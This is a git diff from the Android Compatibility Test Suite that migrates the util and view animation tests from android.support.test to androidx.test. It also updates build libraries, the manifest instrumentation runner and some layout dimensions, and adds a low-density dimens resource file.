diff --git a/tests/tests/util/src/android/util/cts/LogPrinterTest.java b/tests/tests/util/src/android/util/cts/LogPrinterTest.java
index bd139ef..a10c186 100644
--- a/tests/tests/util/src/android/util/cts/LogPrinterTest.java
+++ b/tests/tests/util/src/android/util/cts/LogPrinterTest.java
@@ -16,11 +16,12 @@
 
 package android.util.cts;
 
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
 import android.util.Log;
 import android.util.LogPrinter;
 
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
diff --git a/tests/tests/util/src/android/util/cts/LogTest.java b/tests/tests/util/src/android/util/cts/LogTest.java
index ada7af7..77f7d20 100644
--- a/tests/tests/util/src/android/util/cts/LogTest.java
+++ b/tests/tests/util/src/android/util/cts/LogTest.java
@@ -18,10 +18,11 @@
 
 import static org.junit.Assert.assertTrue;
 
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
 import android.util.Log;
 
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
diff --git a/tests/tests/util/src/android/util/cts/LongSparseArrayTest.java b/tests/tests/util/src/android/util/cts/LongSparseArrayTest.java
index 2eabe88..df3301a 100644
--- a/tests/tests/util/src/android/util/cts/LongSparseArrayTest.java
+++ b/tests/tests/util/src/android/util/cts/LongSparseArrayTest.java
@@ -21,10 +21,11 @@
 import static org.junit.Assert.assertNull;
 import static org.junit.Assert.assertTrue;
 
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
 import android.util.LongSparseArray;
 
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
diff --git a/tests/tests/util/src/android/util/cts/MathUtilsTest.java b/tests/tests/util/src/android/util/cts/MathUtilsTest.java
index d19a652..449bd53 100644
--- a/tests/tests/util/src/android/util/cts/MathUtilsTest.java
+++ b/tests/tests/util/src/android/util/cts/MathUtilsTest.java
@@ -18,10 +18,11 @@
 
 import static org.junit.Assert.assertEquals;
 
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
 import android.util.MathUtils;
 
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
diff --git a/tests/tests/util/src/android/util/cts/MonthDisplayHelperTest.java b/tests/tests/util/src/android/util/cts/MonthDisplayHelperTest.java
index df9916c..b3e1ca8 100644
--- a/tests/tests/util/src/android/util/cts/MonthDisplayHelperTest.java
+++ b/tests/tests/util/src/android/util/cts/MonthDisplayHelperTest.java
@@ -21,10 +21,11 @@
 import static org.junit.Assert.assertFalse;
 import static org.junit.Assert.assertTrue;
 
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
 import android.util.MonthDisplayHelper;
 
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
diff --git a/tests/tests/util/src/android/util/cts/MutableTest.java b/tests/tests/util/src/android/util/cts/MutableTest.java
index e4f6fd9..e271df0 100644
--- a/tests/tests/util/src/android/util/cts/MutableTest.java
+++ b/tests/tests/util/src/android/util/cts/MutableTest.java
@@ -16,14 +16,16 @@
 
 package android.util.cts;
 
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
+import static org.junit.Assert.*;
+
 import android.util.*;
+
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
-import static org.junit.Assert.*;
-
 @SmallTest
 @RunWith(AndroidJUnit4.class)
 public class MutableTest {
diff --git a/tests/tests/util/src/android/util/cts/PatternsTest.java b/tests/tests/util/src/android/util/cts/PatternsTest.java
index 3a8df11..b249753 100644
--- a/tests/tests/util/src/android/util/cts/PatternsTest.java
+++ b/tests/tests/util/src/android/util/cts/PatternsTest.java
@@ -18,10 +18,11 @@
 
 import static org.junit.Assert.assertTrue;
 
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
 import android.util.Patterns;
 
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
diff --git a/tests/tests/util/src/android/util/cts/PrintStreamPrinterTest.java b/tests/tests/util/src/android/util/cts/PrintStreamPrinterTest.java
index 59a6ee2..ff1cf77 100644
--- a/tests/tests/util/src/android/util/cts/PrintStreamPrinterTest.java
+++ b/tests/tests/util/src/android/util/cts/PrintStreamPrinterTest.java
@@ -18,11 +18,12 @@
 
 import static org.junit.Assert.assertEquals;
 
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.MediumTest;
-import android.support.test.runner.AndroidJUnit4;
 import android.util.PrintStreamPrinter;
 
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.MediumTest;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.After;
 import org.junit.Before;
 import org.junit.Test;
diff --git a/tests/tests/util/src/android/util/cts/PrintWriterPrinterTest.java b/tests/tests/util/src/android/util/cts/PrintWriterPrinterTest.java
index d7ae859..9d5bc36 100644
--- a/tests/tests/util/src/android/util/cts/PrintWriterPrinterTest.java
+++ b/tests/tests/util/src/android/util/cts/PrintWriterPrinterTest.java
@@ -19,11 +19,12 @@
 import static org.junit.Assert.assertEquals;
 
 import android.content.Context;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
 import android.util.PrintWriterPrinter;
 
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.After;
 import org.junit.Before;
 import org.junit.Test;
diff --git a/tests/tests/util/src/android/util/cts/PropertyTest.java b/tests/tests/util/src/android/util/cts/PropertyTest.java
index 3d76e36..c1b9066 100644
--- a/tests/tests/util/src/android/util/cts/PropertyTest.java
+++ b/tests/tests/util/src/android/util/cts/PropertyTest.java
@@ -16,17 +16,19 @@
 
 package android.util.cts;
 
+import static org.junit.Assert.*;
+
 import android.graphics.Point;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
 import android.util.FloatProperty;
 import android.util.IntProperty;
 import android.util.Property;
+
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
-import static org.junit.Assert.*;
-
 @SmallTest
 @RunWith(AndroidJUnit4.class)
 public class PropertyTest {
diff --git a/tests/tests/util/src/android/util/cts/RangeTest.java b/tests/tests/util/src/android/util/cts/RangeTest.java
index 5121ce1..6a9a91a 100644
--- a/tests/tests/util/src/android/util/cts/RangeTest.java
+++ b/tests/tests/util/src/android/util/cts/RangeTest.java
@@ -18,11 +18,12 @@
 
 import static org.junit.Assert.assertEquals;
 
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
 import android.util.Range;
 import android.util.Rational;
 
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
diff --git a/tests/tests/util/src/android/util/cts/RationalTest.java b/tests/tests/util/src/android/util/cts/RationalTest.java
index 84b2ece..02f5e76 100644
--- a/tests/tests/util/src/android/util/cts/RationalTest.java
+++ b/tests/tests/util/src/android/util/cts/RationalTest.java
@@ -26,10 +26,11 @@
 import static org.junit.Assert.assertTrue;
 import static org.junit.Assert.fail;
 
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
 import android.util.Rational;
 
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
diff --git a/tests/tests/util/src/android/util/cts/SizeTest.java b/tests/tests/util/src/android/util/cts/SizeTest.java
index f274945..c865f6a 100644
--- a/tests/tests/util/src/android/util/cts/SizeTest.java
+++ b/tests/tests/util/src/android/util/cts/SizeTest.java
@@ -18,11 +18,12 @@
 
 import static org.junit.Assert.assertEquals;
 
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
 import android.util.Size;
 import android.util.SizeF;
 
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
diff --git a/tests/tests/util/src/android/util/cts/SparseArrayTest.java b/tests/tests/util/src/android/util/cts/SparseArrayTest.java
index b80a3cb..28df0cf 100644
--- a/tests/tests/util/src/android/util/cts/SparseArrayTest.java
+++ b/tests/tests/util/src/android/util/cts/SparseArrayTest.java
@@ -21,10 +21,11 @@
 import static org.junit.Assert.assertNull;
 import static org.junit.Assert.assertTrue;
 
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
 import android.util.SparseArray;
 
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
diff --git a/tests/tests/util/src/android/util/cts/SparseBooleanArrayTest.java b/tests/tests/util/src/android/util/cts/SparseBooleanArrayTest.java
index 6a533f5..b135561 100644
--- a/tests/tests/util/src/android/util/cts/SparseBooleanArrayTest.java
+++ b/tests/tests/util/src/android/util/cts/SparseBooleanArrayTest.java
@@ -19,10 +19,11 @@
 import static org.junit.Assert.assertEquals;
 import static org.junit.Assert.assertFalse;
 
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
 import android.util.SparseBooleanArray;
 
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
diff --git a/tests/tests/util/src/android/util/cts/SparseIntArrayTest.java b/tests/tests/util/src/android/util/cts/SparseIntArrayTest.java
index 9c554fa..e4b473b 100644
--- a/tests/tests/util/src/android/util/cts/SparseIntArrayTest.java
+++ b/tests/tests/util/src/android/util/cts/SparseIntArrayTest.java
@@ -19,10 +19,11 @@
 import static org.junit.Assert.assertEquals;
 import static org.junit.Assert.assertFalse;
 
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
 import android.util.SparseIntArray;
 
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
diff --git a/tests/tests/util/src/android/util/cts/SparseLongArrayTest.java b/tests/tests/util/src/android/util/cts/SparseLongArrayTest.java
index 501c788..7b6f0c6 100644
--- a/tests/tests/util/src/android/util/cts/SparseLongArrayTest.java
+++ b/tests/tests/util/src/android/util/cts/SparseLongArrayTest.java
@@ -19,10 +19,11 @@
 import static org.junit.Assert.assertEquals;
 import static org.junit.Assert.assertFalse;
 
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
 import android.util.SparseLongArray;
 
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
diff --git a/tests/tests/util/src/android/util/cts/StateSetTest.java b/tests/tests/util/src/android/util/cts/StateSetTest.java
index c3420eb..1818e09 100644
--- a/tests/tests/util/src/android/util/cts/StateSetTest.java
+++ b/tests/tests/util/src/android/util/cts/StateSetTest.java
@@ -20,10 +20,11 @@
 import static org.junit.Assert.assertFalse;
 import static org.junit.Assert.assertTrue;
 
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
 import android.util.StateSet;
 
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
diff --git a/tests/tests/util/src/android/util/cts/StrictJarFileTest.java b/tests/tests/util/src/android/util/cts/StrictJarFileTest.java
index 3c18df7..8a4a6d4 100644
--- a/tests/tests/util/src/android/util/cts/StrictJarFileTest.java
+++ b/tests/tests/util/src/android/util/cts/StrictJarFileTest.java
@@ -22,12 +22,13 @@
 import static org.junit.Assert.assertTrue;
 import static org.junit.Assert.fail;
 
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
 import android.system.OsConstants;
 import android.util.jar.StrictJarFile;
 
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
 import libcore.io.IoBridge;
 import libcore.io.Streams;
 
diff --git a/tests/tests/util/src/android/util/cts/StringBuilderPrinterTest.java b/tests/tests/util/src/android/util/cts/StringBuilderPrinterTest.java
index 17e4603..96bc1ad 100644
--- a/tests/tests/util/src/android/util/cts/StringBuilderPrinterTest.java
+++ b/tests/tests/util/src/android/util/cts/StringBuilderPrinterTest.java
@@ -18,10 +18,11 @@
 import static org.junit.Assert.assertEquals;
 import static org.junit.Assert.assertTrue;
 
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
 import android.util.StringBuilderPrinter;
 
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
diff --git a/tests/tests/util/src/android/util/cts/TimeUtilsTest.java b/tests/tests/util/src/android/util/cts/TimeUtilsTest.java
index 3362caf..8f9b76d 100644
--- a/tests/tests/util/src/android/util/cts/TimeUtilsTest.java
+++ b/tests/tests/util/src/android/util/cts/TimeUtilsTest.java
@@ -17,10 +17,11 @@
 
 import static org.junit.Assert.assertEquals;
 
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
 import android.util.TimeUtils;
 
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
diff --git a/tests/tests/util/src/android/util/cts/TimingLoggerTest.java b/tests/tests/util/src/android/util/cts/TimingLoggerTest.java
index 98f709e..817783b 100644
--- a/tests/tests/util/src/android/util/cts/TimingLoggerTest.java
+++ b/tests/tests/util/src/android/util/cts/TimingLoggerTest.java
@@ -16,10 +16,11 @@
 package android.util.cts;
 
 
-import android.support.test.filters.LargeTest;
-import android.support.test.runner.AndroidJUnit4;
 import android.util.TimingLogger;
 
+import androidx.test.filters.LargeTest;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
diff --git a/tests/tests/util/src/android/util/cts/TypedValueTest.java b/tests/tests/util/src/android/util/cts/TypedValueTest.java
index 9c454e4..4a51be7 100644
--- a/tests/tests/util/src/android/util/cts/TypedValueTest.java
+++ b/tests/tests/util/src/android/util/cts/TypedValueTest.java
@@ -20,11 +20,12 @@
 import static org.junit.Assert.assertNotNull;
 import static org.junit.Assert.assertNull;
 
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
 import android.util.DisplayMetrics;
 import android.util.TypedValue;
 
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
diff --git a/tests/tests/util/src/android/util/cts/XmlEncodingTest.java b/tests/tests/util/src/android/util/cts/XmlEncodingTest.java
index 8ce6b5f..a405550 100644
--- a/tests/tests/util/src/android/util/cts/XmlEncodingTest.java
+++ b/tests/tests/util/src/android/util/cts/XmlEncodingTest.java
@@ -19,10 +19,11 @@
 import static org.junit.Assert.assertEquals;
 import static org.junit.Assert.fail;
 
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
 import android.util.Xml;
 
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Test;
 import org.junit.runner.RunWith;
 import org.xml.sax.Attributes;
@@ -34,7 +35,6 @@
 import java.io.IOException;
 import java.util.Vector;
 
-
 /**
  * TestCases for android.util.Xml.Encoding.
  */
diff --git a/tests/tests/util/src/android/util/cts/XmlTest.java b/tests/tests/util/src/android/util/cts/XmlTest.java
index 400c141..f3e5eb4 100644
--- a/tests/tests/util/src/android/util/cts/XmlTest.java
+++ b/tests/tests/util/src/android/util/cts/XmlTest.java
@@ -21,12 +21,13 @@
 import static org.junit.Assert.fail;
 
 import android.content.res.XmlResourceParser;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
 import android.util.AttributeSet;
 import android.util.Xml;
 
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Test;
 import org.junit.runner.RunWith;
 import org.xml.sax.Attributes;
diff --git a/tests/tests/view/Android.mk b/tests/tests/view/Android.mk
index 6174a73..7328043 100644
--- a/tests/tests/view/Android.mk
+++ b/tests/tests/view/Android.mk
@@ -29,10 +29,10 @@
 LOCAL_JAVA_LIBRARIES := android.test.runner.stubs android.test.base.stubs
 
 LOCAL_STATIC_JAVA_LIBRARIES := \
-    android-support-test \
-    compatibility-device-util \
-    ctsdeviceutillegacy \
-    ctstestrunner \
+    androidx.test.rules \
+    compatibility-device-util-axt \
+    ctsdeviceutillegacy-axt \
+    ctstestrunner-axt \
     mockito-target-minus-junit4 \
     platform-test-annotations \
     ub-uiautomator
diff --git a/tests/tests/view/AndroidManifest.xml b/tests/tests/view/AndroidManifest.xml
index a9cb2cd..2a6d729 100644
--- a/tests/tests/view/AndroidManifest.xml
+++ b/tests/tests/view/AndroidManifest.xml
@@ -297,7 +297,7 @@
         </activity>
 
         <activity android:name="android.view.cts.DragDropActivity"
-                  android:screenOrientation="portrait"
+                  android:screenOrientation="locked"
                   android:label="DragDropActivity">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
@@ -360,7 +360,7 @@
         </activity>
     </application>
 
-    <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
                      android:targetPackage="android.view.cts"
                      android:label="CTS tests of android.view">
         <meta-data android:name="listener"
diff --git a/tests/tests/view/res/layout/focus_finder_layout.xml b/tests/tests/view/res/layout/focus_finder_layout.xml
index 8f4dffb..1dea684 100644
--- a/tests/tests/view/res/layout/focus_finder_layout.xml
+++ b/tests/tests/view/res/layout/focus_finder_layout.xml
@@ -22,8 +22,7 @@
             android:layout_alignParentTop="true">
         <TableRow>
             <android.view.cts.TestButton android:id="@+id/top_left_button"
-                    android:layout_width="20dp"
-                    android:layout_marginRight="40dp"
+                    android:layout_width="60dp"
                     android:layout_height="match_parent"
                     android:text="TL" />
             <android.view.cts.TestButton android:id="@+id/top_right_button"
diff --git a/tests/tests/view/res/layout/view_layout.xml b/tests/tests/view/res/layout/view_layout.xml
index 31d8918..801b49b 100644
--- a/tests/tests/view/res/layout/view_layout.xml
+++ b/tests/tests/view/res/layout/view_layout.xml
@@ -26,8 +26,8 @@
 
     <android.view.cts.MockView
         android:id="@+id/mock_view"
-        android:layout_width="100px"
-        android:layout_height="100px"/>
+        android:layout_width="100dp"
+        android:layout_height="75dp"/>
 
     <android.view.cts.MockView
         android:id="@+id/scroll_view"
diff --git a/tests/tests/view/res/values-ldpi/dimens.xml b/tests/tests/view/res/values-ldpi/dimens.xml
new file mode 100644
index 0000000..5b79a3e
--- /dev/null
+++ b/tests/tests/view/res/values-ldpi/dimens.xml
@@ -0,0 +1,20 @@
+<?xml version="1.0"?>
+<!-- Copyright (C) 2014 The Android Open Source Project
+
+Licensed under the Apache License, Version 2.0 (the "License");
+you may not use this file except in compliance with the License.
+You may obtain a copy of the License at
+
+  http://www.apache.org/licenses/LICENSE-2.0
+
+Unless required by applicable law or agreed to in writing, software
+distributed under the License is distributed on an "AS IS" BASIS,
+WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+See the License for the specific language governing permissions and
+limitations under the License.
+-->
+<resources>
+    <dimen name="hover_target_margin">6dp</dimen>
+    <dimen name="hover_target_size">12dp</dimen>
+    <dimen name="hover_target_size_double">24dp</dimen>
+</resources>
diff --git a/tests/tests/view/src/android/view/animation/cts/AccelerateDecelerateInterpolatorTest.java b/tests/tests/view/src/android/view/animation/cts/AccelerateDecelerateInterpolatorTest.java
index 926d707..4bc4883 100644
--- a/tests/tests/view/src/android/view/animation/cts/AccelerateDecelerateInterpolatorTest.java
+++ b/tests/tests/view/src/android/view/animation/cts/AccelerateDecelerateInterpolatorTest.java
@@ -23,10 +23,6 @@
 import android.app.Activity;
 import android.app.Instrumentation;
 import android.content.res.XmlResourceParser;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.MediumTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
 import android.util.AttributeSet;
 import android.util.Xml;
 import android.view.View;
@@ -38,6 +34,11 @@
 import android.view.animation.Transformation;
 import android.view.cts.R;
 
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.MediumTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Before;
 import org.junit.Rule;
 import org.junit.Test;
diff --git a/tests/tests/view/src/android/view/animation/cts/AccelerateInterpolatorTest.java b/tests/tests/view/src/android/view/animation/cts/AccelerateInterpolatorTest.java
index 92fa08d..23adf11 100644
--- a/tests/tests/view/src/android/view/animation/cts/AccelerateInterpolatorTest.java
+++ b/tests/tests/view/src/android/view/animation/cts/AccelerateInterpolatorTest.java
@@ -23,10 +23,6 @@
 import android.app.Activity;
 import android.app.Instrumentation;
 import android.content.res.XmlResourceParser;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.MediumTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
 import android.util.AttributeSet;
 import android.util.Xml;
 import android.view.View;
@@ -38,6 +34,11 @@
 import android.view.animation.Transformation;
 import android.view.cts.R;
 
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.MediumTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Before;
 import org.junit.Rule;
 import org.junit.Test;
diff --git a/tests/tests/view/src/android/view/animation/cts/AlphaAnimationTest.java b/tests/tests/view/src/android/view/animation/cts/AlphaAnimationTest.java
index 605a339..240d155 100644
--- a/tests/tests/view/src/android/view/animation/cts/AlphaAnimationTest.java
+++ b/tests/tests/view/src/android/view/animation/cts/AlphaAnimationTest.java
@@ -21,15 +21,16 @@
 
 import android.content.Context;
 import android.content.res.XmlResourceParser;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
 import android.util.AttributeSet;
 import android.util.Xml;
 import android.view.animation.AlphaAnimation;
 import android.view.animation.Transformation;
 import android.view.cts.R;
 
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Before;
 import org.junit.Test;
 import org.junit.runner.RunWith;
diff --git a/tests/tests/view/src/android/view/animation/cts/AnimationSetTest.java b/tests/tests/view/src/android/view/animation/cts/AnimationSetTest.java
index 36846f3..11517cf 100644
--- a/tests/tests/view/src/android/view/animation/cts/AnimationSetTest.java
+++ b/tests/tests/view/src/android/view/animation/cts/AnimationSetTest.java
@@ -25,10 +25,6 @@
 import android.app.Activity;
 import android.app.Instrumentation;
 import android.content.res.XmlResourceParser;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.MediumTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
 import android.util.AttributeSet;
 import android.util.Xml;
 import android.view.View;
@@ -41,6 +37,11 @@
 import android.view.animation.TranslateAnimation;
 import android.view.cts.R;
 
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.MediumTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Before;
 import org.junit.Rule;
 import org.junit.Test;
diff --git a/tests/tests/view/src/android/view/animation/cts/AnimationTest.java b/tests/tests/view/src/android/view/animation/cts/AnimationTest.java
index d3bc8e0..88435c9 100644
--- a/tests/tests/view/src/android/view/animation/cts/AnimationTest.java
+++ b/tests/tests/view/src/android/view/animation/cts/AnimationTest.java
@@ -35,11 +35,6 @@
 import android.app.Instrumentation;
 import android.content.res.XmlResourceParser;
 import android.os.SystemClock;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.LargeTest;
-import android.support.test.filters.MediumTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
 import android.util.AttributeSet;
 import android.util.Xml;
 import android.view.View;
@@ -53,6 +48,12 @@
 import android.view.animation.Transformation;
 import android.view.cts.R;
 
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.LargeTest;
+import androidx.test.filters.MediumTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
 import com.android.compatibility.common.util.PollingCheck;
 
 import org.junit.Before;
diff --git a/tests/tests/view/src/android/view/animation/cts/AnimationTestUtils.java b/tests/tests/view/src/android/view/animation/cts/AnimationTestUtils.java
index 9c845c1..d0b0ffc 100644
--- a/tests/tests/view/src/android/view/animation/cts/AnimationTestUtils.java
+++ b/tests/tests/view/src/android/view/animation/cts/AnimationTestUtils.java
@@ -18,12 +18,13 @@
 
 import android.app.Instrumentation;
 import android.os.SystemClock;
-import android.support.test.rule.ActivityTestRule;
 import android.view.View;
 import android.view.ViewGroup;
 import android.view.animation.Animation;
 import android.view.animation.LayoutAnimationController;
 
+import androidx.test.rule.ActivityTestRule;
+
 import com.android.compatibility.common.util.PollingCheck;
 
 /**
diff --git a/tests/tests/view/src/android/view/animation/cts/AnimationUtilsTest.java b/tests/tests/view/src/android/view/animation/cts/AnimationUtilsTest.java
index 3a8d270..bfa904e 100644
--- a/tests/tests/view/src/android/view/animation/cts/AnimationUtilsTest.java
+++ b/tests/tests/view/src/android/view/animation/cts/AnimationUtilsTest.java
@@ -21,9 +21,6 @@
 import static org.junit.Assert.assertTrue;
 
 import android.app.Activity;
-import android.support.test.filters.MediumTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
 import android.view.animation.AccelerateInterpolator;
 import android.view.animation.AlphaAnimation;
 import android.view.animation.Animation;
@@ -33,6 +30,10 @@
 import android.view.animation.LayoutAnimationController;
 import android.view.cts.R;
 
+import androidx.test.filters.MediumTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Before;
 import org.junit.Rule;
 import org.junit.Test;
diff --git a/tests/tests/view/src/android/view/animation/cts/AnimatorInflaterTest.java b/tests/tests/view/src/android/view/animation/cts/AnimatorInflaterTest.java
index ddd55aa..bfe0b92 100644
--- a/tests/tests/view/src/android/view/animation/cts/AnimatorInflaterTest.java
+++ b/tests/tests/view/src/android/view/animation/cts/AnimatorInflaterTest.java
@@ -30,10 +30,6 @@
 import android.app.Instrumentation;
 import android.app.UiAutomation;
 import android.content.Context;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.MediumTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
 import android.util.Log;
 import android.view.Display;
 import android.view.Surface;
@@ -41,8 +37,13 @@
 import android.view.WindowManager;
 import android.view.cts.R;
 
-import org.junit.Before;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.MediumTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.After;
+import org.junit.Before;
 import org.junit.Rule;
 import org.junit.Test;
 import org.junit.runner.RunWith;
diff --git a/tests/tests/view/src/android/view/animation/cts/CycleInterpolatorTest.java b/tests/tests/view/src/android/view/animation/cts/CycleInterpolatorTest.java
index 372fd52..ede260f 100644
--- a/tests/tests/view/src/android/view/animation/cts/CycleInterpolatorTest.java
+++ b/tests/tests/view/src/android/view/animation/cts/CycleInterpolatorTest.java
@@ -23,10 +23,6 @@
 import android.app.Activity;
 import android.app.Instrumentation;
 import android.content.res.XmlResourceParser;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.MediumTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
 import android.util.AttributeSet;
 import android.util.Xml;
 import android.view.View;
@@ -38,6 +34,11 @@
 import android.view.animation.Transformation;
 import android.view.cts.R;
 
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.MediumTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Before;
 import org.junit.Rule;
 import org.junit.Test;
diff --git a/tests/tests/view/src/android/view/animation/cts/DecelerateInterpolatorTest.java b/tests/tests/view/src/android/view/animation/cts/DecelerateInterpolatorTest.java
index 1ecbe96..f5ed3cc 100644
--- a/tests/tests/view/src/android/view/animation/cts/DecelerateInterpolatorTest.java
+++ b/tests/tests/view/src/android/view/animation/cts/DecelerateInterpolatorTest.java
@@ -23,10 +23,6 @@
 import android.app.Activity;
 import android.app.Instrumentation;
 import android.content.res.XmlResourceParser;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.MediumTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
 import android.util.AttributeSet;
 import android.util.Xml;
 import android.view.View;
@@ -38,6 +34,11 @@
 import android.view.animation.Transformation;
 import android.view.cts.R;
 
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.MediumTest;
+import androidx.test.rule.ActivityTestRule;
